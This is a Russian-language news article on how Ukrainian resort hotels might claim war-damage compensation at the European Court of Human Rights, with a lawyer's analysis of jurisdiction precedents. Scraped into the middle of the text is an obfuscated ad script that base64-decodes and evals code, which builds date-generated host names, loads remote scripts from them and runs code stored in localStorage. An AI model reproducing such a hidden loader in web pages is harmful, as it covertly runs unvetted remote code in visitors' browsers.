Девятый месяц продолжается вооруженная агрессия рф против Украины. Размеры понесенных украинцами за это время потерь, как моральных, так и материальных, достигли колоссальных размеров. Одной из самых пострадавших сторон в южных областях страны стали представители отельно-туристического бизнеса, имущество которых либо уничтожено, либо разграблено оккупантами. Юристы адвокатского бюро Романа Сацика рассказали, как отели могут через суд компенсировать убытки от войны.
Об этом пишет Акцент со ссылкой на УНН.
До войны курортный бизнес в той или иной
степени был развит во всех регионах Украины, имеющих выход к морям. С началом
полномасштабной российской агрессии часть курортов оказалась под оккупацией
(Херсонская, Запорожская, Донецкая и юго-восток Николаевской области), а
оставшиеся подвергаются регулярным обстрелам со стороны врага.
Так, в Кирилловке Запорожской области, которая
являлась самым популярным местом отдыха на азовском побережье, часть баз отдыха
была “отжата” оккупационным властями под видом “бесхозных”. Что останется от
шикарных корпусов и территорий после возвращения поселка под юрисдикцию
Украины, можно только догадываться. Однако пример Херсона, из которого вывезли
все мало-мальски ценное, включая детские паровозики и оконные стеклопакеты, не
добавляет оптимизма.
Самому крупному и популярному морскому курорту
Одесской области, Затоке, хоть и повезло не попасть под оккупацию, не удалось
избежать обстрелов. На данный момент это один из самых пострадавших, если не
самый пострадавший из-за российских обстрелов черноморский курорт, несколько
десятков баз отдыха и отелей которого практически уничтожены, а остальные в
большинстве своем нуждаются в серьезном ремонте с не менее серьезными
затратами.
Управляющий адвокатским бюро
«Романа Сацика» отмечает, что как обычные граждане, так и
владельцы бизнеса могут компенсировать ущерб, полученный в результате действий
страны-агрессора, обратившись в Европейский суд по правам человека (ЕСПЧ). Но
из анализа Конвенции о защите прав человека и основных свобод
и устоявшейся практики ЕСПЧ вытекает, что необходимым условием для привлечения
любой страны-участницы Конвенции к ответственности за нарушение прав и свобод
является совершение юрисдикции на соответствующей территории. Например, такой
вывод был сделан в свое время в деле “Илашку и другие против Молдовы и России”.
Иными словами, поясняет адвокат, при
рассмотрении дела суд должен ответить на вопрос: “Распространялись ли властные
полномочия государства-ответчика на определенную территорию в тот момент,
когда, по утверждению заявителя, там происходило нарушение прав и свобод?”
Очевидно, что в современных реалиях (наличие заморских территорий, вооруженных
конфликтов) юрисдикция не может ограничиваться только национальной территорией.
Значит, возможна ответственность одного государства за нарушения прав и свобод,
которые происходили на территории других государств.
Однако это возможно только в исключительных
случаях:
военная оккупация. Например, с начала
полномасштабного вторжения рф в Украину в оккупации находится Херсонская область (включая г.
Херсон, а также курорты Железный Порт, Лазурное, Скадовск, Хорлы и другие),
из-за наличия на этой территории масштабного военного контингента рф, её
юрисдикция распространяется на эти территории, а, значит, государство-террорист
должно отвечать за ущерб, причиненный на этой территории;осуществление эффективного контроля
над территорией другого государства — государство отвечает за действия частных
лиц на территории другого государства (например, сепаратистских группировок,
коллаборантов) в случае, если оно руководило или предоставляло помощь этим
лицам в конкретных операциях;осуществление общего контроля над
территорией другого государства — государство несет ответственность за действия
организованной группы на территории другого государства, если оно осуществляло
над ней общий контроль, который может выражаться даже в общей поддержке этих
особ, в том числе финансовой, военной или в другой форме;действия государственных агентов
на территории другого государства (например, консулов).
“Как видим, нанесение ущерба (значит,
нарушение прав на мирное владение своим имуществом, гарантированное ст.
1 Протокола №1 к Конвенции), которое произошло во время активной
фазы боевых действий, не входит в перечень указанных исключений”, —
подытоживает Роман Сацик. “То есть Суд исходит из того, что в условиях
вооруженного столкновения государств за конкретную территорию, бомбардировок,
артиллерийских обстрелов и так далее установить осуществление контроля (а, значит, распространение юрисдикции) того или
иного государства над соответствующей территорией невозможно”. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
В связи с этим адвокат приводит пример дела
Грузии против россии (II), которое касалось вооруженного конфликта между
Грузией, с одной стороны, и сепаратистскими группировками Южной Осетии и
Абхазии, с другой. ЕСПЧ было сделано следующее заключение: “…В случае военных
действий, в том числе, например, вооруженных нападений, бомбардировок или
артиллерийских обстрелов, которые осуществлялись во время международного
вооруженного конфликта, вообще нельзя говорить об “эффективном контроле” над
районом. Сама реальность вооруженного противостояния и боевых действий между
вооруженными силами противника, которые стремятся установить контроль над
территорией в условиях хаоса, означает отсутствие контроля над территорией. Это
также касается и этого дела, учитывая, что большая часть боевых действий
происходила в районах, которые раньше находились под контролем Грузии. Учитывая
все эти факторы, Суд приходит к заключению, что события, которые происходили в
период активной фазы боевых действий (8-12 августа 2008 года) не подпадают под
юрисдикцию рф в контексте статьи 1 Конвенции”.
Исходя из сказанного выше, Роман Сацик дал ответ на два главных вопроса украинских отельеров и другим предпринимателей, потерявших свое имущество из-за агрессии рф, с точки зрения юридической практики.
Что
означает приведенное выше решение для Украины в практической плоскости?
“Заявителям нужно быть готовыми к тому, что
Суд, скорее всего, будет искать ответ на вопрос, подпадают ли нарушения прав собственности
(нанесенный ущерб) под юрисдикцию рф в период активной фазы боевых действий. С
учетом сложившейся практики, Суд определит, был ли установлен рф
фактический/эффективный/общий контроль на соответствующей территории, когда
происходило нарушение прав собственности. В случае утвердительного ответа,
россия понесет ответственность за нанесенные убытки; и, наоборот, если будет
установлено, что имели место бомбардировки, артиллерийские обстрелы, но
контроля над территорией не было (например, как это происходит в Харькове), то
государство-террорист, вероятно, не будет отвечать за нанесенный ущерб”.
Так
стоит ли вообще обращаться в ЕСПЧ, и есть ли перспектива исполнения решения
Суда против рф?
“Нужно понимать, что даже при условии, если
Суд установит нарушение Конвенции, само государство-ответчик обязано будет
создать условия, при которых подобные нарушения больше не повторятся, восстановить права заявителя и выплатить ему
компенсацию (чего россия никогда не сделает, по крайней мере, при нынешнем
режиме). Так, 13 июня госдума россии приняла закон, который позволяет не выполнять решения Европейского суда по
правам человека, вступившие в силу 15.03.2022 года. Более того,
по статистике Комитета Министров Совета Европы, на данный момент россия не
выполнила решения по более чем 2000 дел, и это первое место среди всех
государств-членов Совета Европы.
Стоит отметить, что дела в ЕСПЧ рассматриваются годами, это может быть 2, 5 и даже 10 лет. Однако такая продолжительность рассмотрения дела может оказаться плюсом для заявителя. Так как если во время рассмотрения дела Судом наступят позитивные изменения в политическом режиме россии, есть шанс, что принятое в пользу заявителя решение все же будет исполнено (если рф решит вернуться в число цивилизованных стран). Следовательно, обращение в ЕСПЧ на данный момент является работой на перспективу. “ (adsbygoogle = window.adsbygoogle || []).push({});
Підписуйтесь на Акцент в 
Источник: https://akzent.zp.ua/kirillovka-i-zatoka-kak-otelyam-cherez-sud-kompensirovat-ubytki-ot-vojny-sovety-ekspertov/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
